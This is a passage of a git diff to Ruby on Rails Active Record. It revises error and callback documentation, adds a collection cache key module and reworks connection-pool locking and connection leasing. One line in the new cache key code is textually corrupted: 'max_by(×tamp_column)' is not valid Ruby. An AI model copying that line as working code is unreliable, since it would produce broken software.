ActiveRecordError - Generic error class and superclass of all other errors raised by Active Record. - # * AdapterNotSpecified - The configuration hash used in <tt>establish_connection</tt> didn't include an - # <tt>:adapter</tt> key. - # * AdapterNotFound - The <tt>:adapter</tt> key used in <tt>establish_connection</tt> specified a - # non-existent adapter + # * AdapterNotSpecified - The configuration hash used in + # {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] + # didn't include an <tt>:adapter</tt> key. + # * AdapterNotFound - The <tt>:adapter</tt> key used in + # {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] + # specified a non-existent adapter # (or a bad spelling of an existing one). # * AssociationTypeMismatch - The object assigned to the association wasn't of the type # specified in the association definition. # * AttributeAssignmentError - An error occurred while doing a mass assignment through the - # <tt>attributes=</tt> method. + # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method. # You can inspect the +attribute+ property of the exception object to determine which attribute # triggered the error. - # * ConnectionNotEstablished - No connection has been established. Use <tt>establish_connection</tt> - # before querying. + # * ConnectionNotEstablished - No connection has been established. + # Use {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] before querying. # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the - # <tt>attributes=</tt> method. The +errors+ property of this exception contains an array of + # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method. + # The +errors+ property of this exception contains an array of # AttributeAssignmentError # objects that should be inspected to determine which attributes triggered the errors. - # * RecordInvalid - raised by save! and create! when the record is invalid. - # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist - # or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal + # * RecordInvalid - raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and + # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!] + # when the record is invalid. + # * RecordNotFound - No record responded to the {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] method. + # Either the row with the given ID doesn't exist or the row didn't meet the additional restrictions. + # Some {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] calls do not raise this exception to signal # nothing was found, please check its documentation for further details. # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter. # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message. @@ -282,6 +285,7 @@ module ActiveRecord #:nodoc: extend Explain extend Enum extend Delegation::DelegateCache + extend CollectionCacheKey include Core include Persistence @@ -309,6 +313,7 @@ module ActiveRecord #:nodoc: include Aggregations include Transactions include NoTouching + include TouchLater include Reflection include Serialization include Store diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb index f44e5af5de..95de6937af 100644 --- a/activerecord/lib/active_record/callbacks.rb +++ b/activerecord/lib/active_record/callbacks.rb @@ -1,11 +1,11 @@ module ActiveRecord - # = Active Record Callbacks + # = Active Record \Callbacks # - # Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic + # \Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic # before or after an alteration of the object state. This can be used to make sure that associated and - # dependent objects are deleted when +destroy+ is called (by overwriting +before_destroy+) or to massage attributes - # before they're validated (by overwriting +before_validation+). As an example of the callbacks initiated, consider - # the <tt>Base#save</tt> call for a new record: + # dependent objects are deleted when {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] is called (by overwriting +before_destroy+) or + # to massage attributes before they're validated (by overwriting +before_validation+). + # As an example of the callbacks initiated, consider the {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] call for a new record: # # * (-) <tt>save</tt> # * (-) <tt>valid</tt> @@ -20,7 +20,7 @@ module ActiveRecord # * (7) <tt>after_commit</tt> # # Also, an <tt>after_rollback</tt> callback can be configured to be triggered whenever a rollback is issued. - # Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and + # Check out ActiveRecord::Transactions for more details about <tt>after_commit</tt> and # <tt>after_rollback</tt>. # # Additionally, an <tt>after_touch</tt> callback is triggered whenever an @@ -31,7 +31,7 @@ module ActiveRecord # are instantiated as well. # # There are nineteen callbacks in total, which give you immense power to react and prepare for each state in the - # Active Record life cycle. The sequence for calling <tt>Base#save</tt> for an existing record is similar, + # Active Record life cycle. The sequence for calling {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] for an existing record is similar, # except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback. # # Examples: @@ -53,9 +53,9 @@ module ActiveRecord # end # # class Firm < ActiveRecord::Base - # # Destroys the associated clients and people when the firm is destroyed - # before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" } - # before_destroy { |record| Client.destroy_all "client_of = #{record.id}" } + # # Disables access to the system, for associated clients and people when the firm is destroyed + # before_destroy { |record| Person.where(firm_id: record.id).update_all(access: 'disabled') } + # before_destroy { |record| Client.where(client_of: record.id).update_all(access: 'disabled') } # end # # == Inheritable callback queues @@ -175,26 +175,12 @@ module ActiveRecord # end # end # - # The callback macros usually accept a symbol for the method they're supposed to run, but you can also - # pass a "method string", which will then be evaluated within the binding of the callback. Example: - # - # class Topic < ActiveRecord::Base - # before_destroy 'self.class.delete_all "parent_id = #{id}"' - # end - # - # Notice that single quotes (') are used so the <tt>#{id}</tt> part isn't evaluated until the callback - # is triggered. Also note that these inline callbacks can be stacked just like the regular ones: - # - # class Topic < ActiveRecord::Base - # before_destroy 'self.class.delete_all "parent_id = #{id}"', - # 'puts "Evaluated after parents are destroyed"' - # end - # # == <tt>before_validation*</tt> returning statements # # If the +before_validation+ callback throws +:abort+, the process will be - # aborted and <tt>Base#save</tt> will return +false+. If Base#save! is called it will raise a - # ActiveRecord::RecordInvalid exception. Nothing will be appended to the errors object. + # aborted and {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] will return +false+. + # If {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] is called it will raise an ActiveRecord::RecordInvalid exception. + # Nothing will be appended to the errors object. # # == Canceling callbacks # @@ -206,12 +192,13 @@ module ActiveRecord # == Ordering callbacks # # Sometimes the code needs that the callbacks execute in a specific order. For example, a +before_destroy+ - # callback (+log_children+ in this case) should be executed before the children get destroyed by the +dependent: destroy+ option. + # callback (+log_children+ in this case) should be executed before the children get destroyed by the + # <tt>dependent: :destroy</tt> option. # # Let's look at the code below: # # class Topic < ActiveRecord::Base - # has_many :children, dependent: destroy + # has_many :children, dependent: :destroy # # before_destroy :log_children # @@ -222,10 +209,11 @@ module ActiveRecord # end # # In this case, the problem is that when the +before_destroy+ callback is executed, the children are not available - # because the +destroy+ callback gets executed first. You can use the +prepend+ option on the +before_destroy+ callback to avoid this. + # because the {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] callback gets executed first. + # You can use the +prepend+ option on the +before_destroy+ callback to avoid this. # # class Topic < ActiveRecord::Base - # has_many :children, dependent: destroy + # has_many :children, dependent: :destroy # # before_destroy :log_children, prepend: true # @@ -235,23 +223,23 @@ module ActiveRecord # end # end # - # This way, the +before_destroy+ gets executed before the <tt>dependent: destroy</tt> is called, and the data is still available. + # This way, the +before_destroy+ gets executed before the <tt>dependent: :destroy</tt> is called, and the data is still available. # - # == Transactions + # == \Transactions # - # The entire callback chain of a +save+, <tt>save!</tt>, or +destroy+ call runs - # within a transaction. That includes <tt>after_*</tt> hooks. If everything - # goes fine a COMMIT is executed once the chain has been completed. + # The entire callback chain of a {#save}[rdoc-ref:Persistence#save], {#save!}[rdoc-ref:Persistence#save!], + # or {#destroy}[rdoc-ref:Persistence#destroy] call runs within a transaction. That includes <tt>after_*</tt> hooks. + # If everything goes fine a COMMIT is executed once the chain has been completed. # # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You # can also trigger a ROLLBACK raising an exception in any of the callbacks, # including <tt>after_*</tt> hooks. Note, however, that in that case the client - # needs to be aware of it because an ordinary +save+ will raise such exception + # needs to be aware of it because an ordinary {#save}[rdoc-ref:Persistence#save] will raise such exception # instead of quietly returning +false+. # # == Debugging callbacks # - # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. ActiveModel Callbacks support + # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. Active Model \Callbacks support # <tt>:before</tt>, <tt>:after</tt> and <tt>:around</tt> as values for the <tt>kind</tt> property. The <tt>kind</tt> property # defines what part of the chain the callback runs in. # @@ -277,7 +265,7 @@ module ActiveRecord :before_destroy, :around_destroy, :after_destroy, :after_commit, :after_rollback ] - module ClassMethods + module ClassMethods # :nodoc: include ActiveModel::Callbacks end @@ -289,7 +277,15 @@ module ActiveRecord end def destroy #:nodoc: + @_destroy_callback_already_called ||= false + return if @_destroy_callback_already_called + @_destroy_callback_already_called = true _run_destroy_callbacks { super } + rescue RecordNotDestroyed => e + @_association_destroy_exception = e + false + ensure + @_destroy_callback_already_called = false end def touch(*) #:nodoc: diff --git a/activerecord/lib/active_record/coders/json.rb b/activerecord/lib/active_record/coders/json.rb index 75d3bfe625..cb185a881e 100644 --- a/activerecord/lib/active_record/coders/json.rb +++ b/activerecord/lib/active_record/coders/json.rb @@ -6,7 +6,7 @@ module ActiveRecord end def self.load(json) - ActiveSupport::JSON.decode(json) unless json.nil? + ActiveSupport::JSON.decode(json) unless json.blank? end end end diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb index 9ea22ed798..2456b8ad8c 100644 --- a/activerecord/lib/active_record/coders/yaml_column.rb +++ b/activerecord/lib/active_record/coders/yaml_column.rb @@ -14,10 +14,7 @@ module ActiveRecord def dump(obj) return if obj.nil? - unless obj.is_a?(object_class) - raise SerializationTypeMismatch, - "Attribute was supposed to be a #{object_class}, but was a #{obj.class}. -- #{obj.inspect}" - end + assert_valid_value(obj) YAML.dump obj end @@ -26,15 +23,19 @@ module ActiveRecord return yaml unless yaml.is_a?(String) && yaml =~ /^---/ obj = YAML.load(yaml) - unless obj.is_a?(object_class) || obj.nil? - raise SerializationTypeMismatch, - "Attribute was supposed to be a #{object_class}, but was a #{obj.class}" - end + assert_valid_value(obj) obj ||= object_class.new if object_class != Object obj end + def assert_valid_value(obj) + unless obj.nil? || obj.is_a?(object_class) + raise SerializationTypeMismatch, + "Attribute was supposed to be a #{object_class}, but was a #{obj.class}. -- #{obj.inspect}" + end + end + private def check_arity_of_constructor diff --git a/activerecord/lib/active_record/collection_cache_key.rb b/activerecord/lib/active_record/collection_cache_key.rb new file mode 100644 index 0000000000..8d41c0d799 --- /dev/null +++ b/activerecord/lib/active_record/collection_cache_key.rb @@ -0,0 +1,40 @@ +module ActiveRecord + module CollectionCacheKey + + def collection_cache_key(collection = all, timestamp_column = :updated_at) # :nodoc: + query_signature = Digest::MD5.hexdigest(collection.to_sql) + key = "#{collection.model_name.cache_key}/query-#{query_signature}" + + if collection.loaded? + size = collection.size + if size > 0 + timestamp = collection.max_by(×tamp_column).public_send(timestamp_column) + end + else + column_type = type_for_attribute(timestamp_column.to_s) + column = "#{connection.quote_table_name(collection.table_name)}.#{connection.quote_column_name(timestamp_column)}" + + query = collection + .unscope(:select) + .select("COUNT(*) AS #{connection.quote_column_name("size")}", "MAX(#{column}) AS timestamp") + .unscope(:order) + result = connection.select_one(query) + + if result.blank? + size = 0 + timestamp = nil + else + size = result["size"] + timestamp = column_type.deserialize(result["timestamp"]) + end + + end + + if timestamp + "#{key}-#{size}-#{timestamp.utc.to_s(cache_timestamp_format)}" + else + "#{key}-#{size}" + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb index d99dc9a5db..f3abd01290 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb @@ -1,7 +1,6 @@ require 'thread' -require 'thread_safe' +require 'concurrent/map' require 'monitor' -require 'set' module ActiveRecord # Raised when a connection could not be obtained within the connection @@ -10,6 +9,13 @@ module ActiveRecord class ConnectionTimeoutError < ConnectionNotEstablished end + # Raised when a pool was unable to get ahold of all its connections + # to perform a "group" action such as + # {ActiveRecord::Base.connection_pool.disconnect!}[rdoc-ref:ConnectionAdapters::ConnectionPool#disconnect!] + # or {ActiveRecord::Base.clear_reloadable_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_reloadable_connections!]. + class ExclusiveConnectionTimeoutError < ConnectionTimeoutError + end + module ConnectionAdapters # Connection pool base class for managing Active Record database # connections. @@ -32,17 +38,18 @@ module ActiveRecord # Connections can be obtained and used from a connection pool in several # ways: # - # 1. Simply use ActiveRecord::Base.connection as with Active Record 2.1 and + # 1. Simply use {ActiveRecord::Base.connection}[rdoc-ref:ConnectionHandling.connection] + # as with Active Record 2.1 and # earlier (pre-connection-pooling). Eventually, when you're done with # the connection(s) and wish it to be returned to the pool, you call - # ActiveRecord::Base.clear_active_connections!. This will be the - # default behavior for Active Record when used in conjunction with + # {ActiveRecord::Base.clear_active_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_active_connections!]. + # This will be the default behavior for Active Record when used in conjunction with # Action Pack's request handling cycle. # 2. Manually check out a connection from the pool with - # ActiveRecord::Base.connection_pool.checkout. You are responsible for + # {ActiveRecord::Base.connection_pool.checkout}[rdoc-ref:#checkout]. You are responsible for # returning this connection to the pool when finished by calling - # ActiveRecord::Base.connection_pool.checkin(connection). - # 3. Use ActiveRecord::Base.connection_pool.with_connection(&block), which + # {ActiveRecord::Base.connection_pool.checkin(connection)}[rdoc-ref:#checkin]. + # 3. Use {ActiveRecord::Base.connection_pool.with_connection(&block)}[rdoc-ref:#with_connection], which # obtains a connection, yields it as the sole argument to the block, # and returns it to the pool after the block completes. # @@ -63,6 +70,15 @@ module ActiveRecord # connection at the end of a thread or a thread dies unexpectedly. # Regardless of this setting, the Reaper will be invoked before every # blocking wait. (Default nil, which means don't schedule the Reaper). + # + #-- + # Synchronization policy: + # * all public methods can be called outside +synchronize+ + # * access to these i-vars needs to be in +synchronize+: + # * @connections + # * @now_connecting + # * private methods that require being called in a +synchronize+ blocks + # are now explicitly documented class ConnectionPool # Threadsafe, fair, FIFO queue. Meant to be used by ConnectionPool # with which it shares a Monitor. But could be a generic Queue. @@ -126,20 +142,18 @@ module ActiveRecord # become available. # # Raises: - # - ConnectionTimeoutError if +timeout+ is given and no element + # - ActiveRecord::ConnectionTimeoutError if +timeout+ is given and no element # becomes available within +timeout+ seconds, def poll(timeout = nil) - synchronize do - if timeout - no_wait_poll || wait_poll(timeout) - else - no_wait_poll - end - end + synchronize { internal_poll(timeout) } end private + def internal_poll(timeout) + no_wait_poll || (timeout && wait_poll(timeout)) + end + def synchronize(&block) @lock.synchronize(&block) end @@ -183,7 +197,7 @@ module ActiveRecord elapsed = Time.now - t0 if elapsed >= timeout - msg = 'could not obtain a database connection within %0.3f seconds (waited %0.3f seconds)' % + msg = 'could not obtain a connection from the pool within %0.3f seconds (waited %0.3f seconds); all pooled connections were in use' % [timeout, elapsed] raise ConnectionTimeoutError, msg end @@ -193,6 +207,80 @@ module ActiveRecord end end + # Adds the ability to turn a basic fair FIFO queue into one + # biased to some thread. + module BiasableQueue # :nodoc: + class BiasedConditionVariable # :nodoc: + # semantics of condition variables guarantee that +broadcast+, +broadcast_on_biased+, + # +signal+ and +wait+ methods are only called while holding a lock + def initialize(lock, other_cond, preferred_thread) + @real_cond = lock.new_cond + @other_cond = other_cond + @preferred_thread = preferred_thread + @num_waiting_on_real_cond = 0 + end + + def broadcast + broadcast_on_biased + @other_cond.broadcast + end + + def broadcast_on_biased + @num_waiting_on_real_cond = 0 + @real_cond.broadcast + end + + def signal + if @num_waiting_on_real_cond > 0 + @num_waiting_on_real_cond -= 1 + @real_cond + else + @other_cond + end.signal + end + + def wait(timeout) + if Thread.current == @preferred_thread + @num_waiting_on_real_cond += 1 + @real_cond + else + @other_cond + end.wait(timeout) + end + end + + def with_a_bias_for(thread) + previous_cond = nil + new_cond = nil + synchronize do + previous_cond = @cond + @cond = new_cond = BiasedConditionVariable.new(@lock, @cond, thread) + end + yield + ensure + synchronize do + @cond = previous_cond if previous_cond + new_cond.broadcast_on_biased if new_cond # wake up any remaining sleepers + end + end + end + + # Connections must be leased while holding the main pool mutex. This is + # an internal subclass that also +.leases+ returned connections while + # still in queue's critical section (queue synchronizes with the same + # +@lock+ as the main pool) so that a returned connection is already + # leased and there is no need to re-enter synchronized block. + class ConnectionLeasingQueue < Queue # :nodoc: + include BiasableQueue + + private + def internal_poll(timeout) + conn = super + conn.lease if conn + conn + end + end + # Every +frequency+ seconds, the reaper will call +reap+ on +pool+. # A reaper instantiated with a nil frequency will never reap the # connection pool. @@ -210,7 +298,7 @@ module ActiveRecord def run return unless frequency Thread.new(frequency, pool) { |t, p| - while true + loop do sleep t p.reap end @@ -220,7 +308,7 @@ module ActiveRecord include MonitorMixin - attr_accessor :automatic_reconnect, :checkout_timeout + attr_accessor :automatic_reconnect, :checkout_timeout, :schema_cache attr_reader :spec, :connections, :size, :reaper # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification @@ -241,56 +329,75 @@ module ActiveRecord # default max pool size to 5 @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5 - # The cache of reserved connections mapped to threads - @reserved_connections = ThreadSafe::Cache.new(:initial_capacity => @size) + # The cache of threads mapped to reserved connections, the sole purpose + # of the cache is to speed-up +connection+ method, it is not the authoritative + # registry of which thread owns which connection, that is tracked by + # +connection.owner+ attr on each +connection+ instance. + # The invariant works like this: if there is mapping of <tt>thread => conn</tt>, + # then that +thread+ does indeed own that +conn+, however an absence of a such + # mapping does not mean that the +thread+ doesn't own the said connection, in + # that case +conn.owner+ attr should be consulted. + # Access and modification of +@thread_cached_conns+ does not require + # synchronization. + @thread_cached_conns = Concurrent::Map.new(:initial_capacity => @size) @connections = [] @automatic_reconnect = true - @available = Queue.new self + # Connection pool allows for concurrent (outside the main +synchronize+ section) + # establishment of new connections. This variable tracks the number of threads + # currently in the process of independently establishing connections to the DB. + @now_connecting = 0 + + # A boolean toggle that allows/disallows new connections. + @new_cons_enabled = true + + @available = ConnectionLeasingQueue.new self end # Retrieve the connection associated with the current thread, or call # #checkout to obtain one if necessary. # # #connection can be called any number of times; the connection is - # held in a hash keyed by the thread id. + # held in a cache keyed by a thread. def connection - # this is correctly done double-checked locking - # (ThreadSafe::Cache's lookups have volatile semantics) - @reserved_connections[current_connection_id] || synchronize do - @reserved_connections[current_connection_id] ||= checkout - end + @thread_cached_conns[connection_cache_key(Thread.current)] ||= checkout end # Is there an open connection that is being used for the current thread? + # + # This method only works for connections that have been obtained through + # #connection or #with_connection methods, connections obtained through + # #checkout will not be detected by #active_connection? def active_connection? - synchronize do - @reserved_connections.fetch(current_connection_id) { - return false - }.in_use? - end + @thread_cached_conns[connection_cache_key(Thread.current)] end # Signal that the thread is finished with the current connection. # #release_connection releases the connection-thread association # and returns the connection to the pool. - def release_connection(with_id = current_connection_id) - synchronize do - conn = @reserved_connections.delete(with_id) - checkin conn if conn + # + # This method only works for connections that have been obtained through + # #connection or #with_connection methods, connections obtained through + # #checkout will not be automatically released. + def release_connection(owner_thread = Thread.current) + if conn = @thread_cached_conns.delete(connection_cache_key(owner_thread)) + checkin conn end end - # If a connection already exists yield it to the block. If no connection + # If a connection obtained through #connection or #with_connection methods + # already exists yield it to the block. If no such connection # exists checkout a connection, yield it to the block, and checkin the # connection when finished. def with_connection - connection_id = current_connection_id - fresh_connection = true unless active_connection? - yield connection + unless conn = @thread_cached_conns[connection_cache_key(Thread.current)] + conn = connection + fresh_connection = true + end + yield conn ensure - release_connection(connection_id) if fresh_connection + release_connection if fresh_connection end # Returns true if a connection has already been opened. @@ -299,32 +406,81 @@ module ActiveRecord end # Disconnects all connections in the pool, and clears the pool. - def disconnect! - synchronize do - @reserved_connections.clear - @connections.each do |conn| - checkin conn - conn.disconnect! + # + # Raises: + # - ActiveRecord::ExclusiveConnectionTimeoutError if unable to gain ownership of all + # connections in the pool within a timeout interval (default duration is + # <tt>spec.config[:checkout_timeout] * 2</tt> seconds). + def disconnect(raise_on_acquisition_timeout = true) + with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do + synchronize do + @connections.each do |conn| + checkin conn + conn.disconnect! + end + @connections = [] + @available.clear end - @connections = [] - @available.clear end end - # Clears the cache which maps classes. - def clear_reloadable_connections! - synchronize do - @reserved_connections.clear - @connections.each do |conn| - checkin conn - conn.disconnect! if conn.requires_reloading? - end - @connections.delete_if(&:requires_reloading?) - @available.clear - @connections.each do |conn| - @available.add conn + # Disconnects all connections in the pool, and clears the pool. + # + # The pool first tries to gain ownership of all connections, if unable to + # do so within a timeout interval (default duration is + # <tt>spec.config[:checkout_timeout] * 2</tt> seconds), the pool is forcefully + # disconnected without any regard for other connection owning threads. + def disconnect! + disconnect(false) + end + + # Clears the cache which maps classes and re-connects connections that + # require reloading. + # + # Raises: + # - ActiveRecord::ExclusiveConnectionTimeoutError if unable to gain ownership of all + # connections in the pool within a timeout interval (default duration is + # <tt>spec.config[:checkout_timeout] * 2</tt> seconds). + def clear_reloadable_connections(raise_on_acquisition_timeout = true) + num_new_conns_required = 0 + + with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do + synchronize do + @connections.each do |conn| + checkin conn + conn.disconnect! if conn.requires_reloading? + end + @connections.delete_if(&:requires_reloading?) + + @available.clear + + if @connections.size < @size + # because of the pruning done by this method, we might be running + # low on connections, while threads stuck in queue are helpless + # (not being able to establish new connections for themselves), + # see also more detailed explanation in +remove+ + num_new_conns_required = num_waiting_in_queue - @connections.size + end + + @connections.each do |conn| + @available.add conn + end end end + + bulk_make_new_connections(num_new_conns_required) if num_new_conns_required > 0 + end + + # Clears the cache which maps classes and re-connects connections that + # require reloading. + # + # The pool first tries to gain ownership of all connections, if unable to + # do so within a timeout interval (default duration is + # <tt>spec.config[:checkout_timeout] * 2</tt> seconds), the pool forcefully + # clears the cache and reloads connections without any regard for other + # connection owning threads. + def clear_reloadable_connections! + clear_reloadable_connections(false) end # Check-out a database connection from the pool, indicating that you want @@ -340,48 +496,60 @@ module ActiveRecord # Returns: an AbstractAdapter object. # # Raises: - # - ConnectionTimeoutError: no connection can be obtained from the pool. - def checkout - synchronize do - conn = acquire_connection - conn.lease - checkout_and_verify(conn) - end + # - ActiveRecord::ConnectionTimeoutError no connection can be obtained from the pool. + def checkout(checkout_timeout = @checkout_timeout) + checkout_and_verify(acquire_connection(checkout_timeout)) end # Check-in a database connection back into the pool, indicating that you # no longer need this connection. # # +conn+: an AbstractAdapter object, which was obtained by earlier by - # calling +checkout+ on this pool. + # calling #checkout on this pool. def checkin(conn) synchronize do - owner = conn.owner + remove_connection_from_thread_cache conn conn._run_checkin_callbacks do conn.expire end - release conn, owner - @available.add conn end end - # Remove a connection from the connection pool. The connection will + # Remove a connection from the connection pool. The connection will # remain open and active but will no longer be managed by this pool. def remove(conn) + needs_new_connection = false + synchronize do + remove_connection_from_thread_cache conn + @connections.delete conn @available.delete conn - release conn, conn.owner - - @available.add checkout_new_connection if @available.any_waiting? + # @available.any_waiting? => true means that prior to removing this + # conn, the pool was at its max size (@connections.size == @size) + # this would mean that any threads stuck waiting in the queue wouldn't + # know they could checkout_new_connection, so let's do it for them. + # Because condition-wait loop is encapsulated in the Queue class + # (that in turn is oblivious to ConnectionPool implementation), threads + # that are "stuck" there are helpless, they have no way of creating + # new connections and are completely reliant on us feeding available + # connections into the Queue. + needs_new_connection = @available.any_waiting? end + + # This is intentionally done outside of the synchronized section as we + # would like not to hold the main mutex while checking out new connections, + # thus there is some chance that needs_new_connection information is now + # stale, we can live with that (bulk_make_new_connections will make + # sure not to exceed the pool's @size limit). + bulk_make_new_connections(1) if needs_new_connection end - # Recover lost connections for the pool. A lost connection can occur if + # Recover lost connections for the pool. A lost connection can occur if # a programmer forgets to checkin a connection at the end of a thread # or a thread dies unexpectedly. def reap @@ -403,7 +571,118 @@ module ActiveRecord end end + def num_waiting_in_queue # :nodoc: + @available.num_waiting + end + private + #-- + # this is unfortunately not concurrent + def bulk_make_new_connections(num_new_conns_needed) + num_new_conns_needed.times do + # try_to_checkout_new_connection will not exceed pool's @size limit + if new_conn = try_to_checkout_new_connection + # make the new_conn available to the starving threads stuck @available Queue + checkin(new_conn) + end + end + end + + #-- + # From the discussion on GitHub: + # https://github.com/rails/rails/pull/14938#commitcomment-6601951 + # This hook-in method allows for easier monkey-patching fixes needed by + # JRuby users that use Fibers. + def connection_cache_key(thread) + thread + end + + # Take control of all existing connections so a "group" action such as + # reload/disconnect can be performed safely. It is no longer enough to + # wrap it in +synchronize+ because some pool's actions are allowed + # to be performed outside of the main +synchronize+ block. + def with_exclusively_acquired_all_connections(raise_on_acquisition_timeout = true) + with_new_connections_blocked do + attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout) + yield + end + end + + def attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout = true) + collected_conns = synchronize do + # account for our own connections + @connections.select {|conn| conn.owner == Thread.current} + end + + newly_checked_out = [] + timeout_time = Time.now + (@checkout_timeout * 2) + + @available.with_a_bias_for(Thread.current) do + loop do + synchronize do + return if collected_conns.size == @connections.size && @now_connecting == 0 + remaining_timeout = timeout_time - Time.now + remaining_timeout = 0 if remaining_timeout < 0 + conn = checkout_for_exclusive_access(remaining_timeout) + collected_conns << conn + newly_checked_out << conn + end + end + end + rescue ExclusiveConnectionTimeoutError + # <tt>raise_on_acquisition_timeout == false</tt> means we are directed to ignore any + # timeouts and are expected to just give up: we've obtained as many connections + # as possible, note that in a case like that we don't return any of the + # +newly_checked_out+ connections. + + if raise_on_acquisition_timeout + release_newly_checked_out = true + raise + end + rescue Exception # if something else went wrong + # this can't be a "naked" rescue, because we have should return conns + # even for non-StandardErrors + release_newly_checked_out = true + raise + ensure + if release_newly_checked_out && newly_checked_out + # releasing only those conns that were checked out in this method, conns + # checked outside this method (before it was called) are not for us to release + newly_checked_out.each {|conn| checkin(conn)} + end + end + + #-- + # Must be called in a synchronize block. + def checkout_for_exclusive_access(checkout_timeout) + checkout(checkout_timeout) + rescue ConnectionTimeoutError + # this block can't be easily moved into attempt_to_checkout_all_existing_connections's + # rescue block, because doing so would put it outside of synchronize section, without + # being in a critical section thread_report might become inaccurate + msg = "could not obtain ownership of all database connections in #{checkout_timeout} seconds" + + thread_report = [] + @connections.each do |conn| + unless conn.owner == Thread.current + thread_report << "#{conn} is owned by #{conn.owner}" + end + end + + msg << " (#{thread_report.join(', ')})" if thread_report.any? + + raise ExclusiveConnectionTimeoutError, msg + end + + def with_new_connections_blocked + previous_value = nil + synchronize do + previous_value, @new_cons_enabled = @new_cons_enabled, false + end + yield + ensure + synchronize { @new_cons_enabled = previous_value } + end # Acquire a connection by one of 1) immediately removing one # from the queue of available connections, 2) creating a new @@ -411,41 +690,79 @@ module ActiveRecord # queue for a connection to become available. # # Raises: - # - ConnectionTimeoutError if a connection could not be acquired - def acquire_connection - if conn = @available.poll + # - ActiveRecord::ConnectionTimeoutError if a connection could not be acquired + # + #-- + # Implementation detail: the connection returned by +acquire_connection+ + # will already be "+connection.lease+ -ed" to the current thread. + def acquire_connection(checkout_timeout) + # NOTE: we rely on +@available.poll+ and +try_to_checkout_new_connection+ to + # +conn.lease+ the returned connection (and to do this in a +synchronized+ + # section), this is not the cleanest implementation, as ideally we would + # <tt>synchronize { conn.lease }</tt> in this method, but by leaving it to +@available.poll+ + # and +try_to_checkout_new_connection+ we can piggyback on +synchronize+ sections + # of the said methods and avoid an additional +synchronize+ overhead. + if conn = @available.poll || try_to_checkout_new_connection conn - elsif @connections.size < @size - checkout_new_connection else reap - @available.poll(@checkout_timeout) + @available.poll(checkout_timeout) end end - def release(conn, owner) - thread_id = owner.object_id - - if @reserved_connections[thread_id] == conn - @reserved_connections.delete thread_id - end + #-- + # if owner_thread param is omitted, this must be called in synchronize block + def remove_connection_from_thread_cache(conn, owner_thread = conn.owner) + @thread_cached_conns.delete_pair(connection_cache_key(owner_thread), conn) end + alias_method :release, :remove_connection_from_thread_cache def new_connection - Base.send(spec.adapter_method, spec.config) + Base.send(spec.adapter_method, spec.config).tap do |conn| + conn.schema_cache = schema_cache.dup if schema_cache + end + end + + # If the pool is not at a +@size+ limit, establish new connection. Connecting + # to the DB is done outside main synchronized section. + #-- + # Implementation constraint: a newly established connection returned by this + # method must be in the +.leased+ state. + def try_to_checkout_new_connection + # first in synchronized section check if establishing new conns is allowed + # and increment @now_connecting, to prevent overstepping this pool's @size + # constraint + do_checkout = synchronize do + if @new_cons_enabled && (@connections.size + @now_connecting) < @size + @now_connecting += 1 + end + end + if do_checkout + begin + # if successfully incremented @now_connecting establish new connection + # outside of synchronized section + conn = checkout_new_connection + ensure + synchronize do + if conn + adopt_connection(conn) + # returned conn needs to be already leased + conn.lease + end + @now_connecting -= 1 + end + end + end end - def current_connection_id #:nodoc: - Base.connection_id ||= Thread.current.object_id + def adopt_connection(conn) + conn.pool = self + @connections << conn end def checkout_new_connection raise ConnectionNotEstablished unless @automatic_reconnect - - c = new_connection - c.pool = self - @connections << c - c + new_connection end def checkout_and_verify(c) @@ -461,8 +778,7 @@ module ActiveRecord end # ConnectionHandler is a collection of ConnectionPool objects. It is used - # for keeping separate connection pools for Active Record models that connect - # to different databases. + # for keeping separate connection pools that connect to different databases. # # For example, suppose that you have 5 models, with the following hierarchy: # @@ -504,16 +820,15 @@ module ActiveRecord # ConnectionHandler accessible via ActiveRecord::Base.connection_handler. # All Active Record models use this handler to determine the connection pool that they # should use. + # + # The ConnectionHandler class is not coupled with the Active models, as it has no knowlodge + # about the model. The model, needs to pass a specification name to the handler, + # 